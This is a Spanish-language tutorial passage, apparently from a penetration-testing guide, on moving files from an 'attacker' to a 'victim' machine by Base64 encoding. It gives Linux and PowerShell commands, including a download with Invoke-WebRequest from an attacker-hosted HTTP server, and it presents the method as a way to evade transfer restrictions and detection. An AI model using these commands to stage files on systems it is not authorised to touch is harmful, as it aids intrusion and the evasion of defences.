Utilizando Base64
Otra técnica utilizada para transferir archivos es convertir el archivo a un formato de texto (Base64) para luego transferirlo y reconvertirlo en el sistema de destino. Esta técnica es útil para evadir restricciones de transferencia de archivos binarios directos.
Convertir un Archivo a Base64:
Convertir un archivo a Base64 en la máquina del atacante (Linux):
base64 file.txt > file.txt.b64
Convertir un archivo a Base64 en la máquina del atacante (Windows):
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Path\To\File\file.txt")) > file.txt.b64
Transferir el Archivo en Formato Base64:
El archivo en formato Base64 puede ser transferido utilizando cualquier método (HTTP, FTP, SMB, etc.) mencionado anteriormente.
Reconstruir el Archivo desde Base64:
Reconstruir el archivo desde Base64 en la máquina víctima (Linux):
base64 -d file.txt.b64 > file.txt
Reconstruir el archivo desde Base64 en la máquina víctima (Windows):
[IO.File]::WriteAllBytes("C:\Path\To\Save\file.txt", [Convert]::FromBase64String((Get-Content -Path "file.txt.b64" -Raw)))
Ejemplo Completo de Transferencia Base64:
Convertir a Base64 y Transferir (Atacante - Linux):
base64 file.txt > file.txt.b64 python -m SimpleHTTPServer 80
Descargar y Reconstruir (Víctima - Windows):
Invoke-WebRequest -Uri http://192.168.1.6/file.txt.b64 -OutFile C:\Path\To\Save\file.txt.b64 [IO.File]::WriteAllBytes("C:\Path\To\Save\file.txt", [Convert]::FromBase64String((Get-Content -Path "C:\Path\To\Save\file.txt.b64" -Raw)))
Estas técnicas permiten a los atacantes transferir archivos sin ser detectados fácilmente, utilizando herramientas y métodos que son comúnmente permitidos y considerados seguros en muchos entornos.
Última actualización
¿Te fue útil?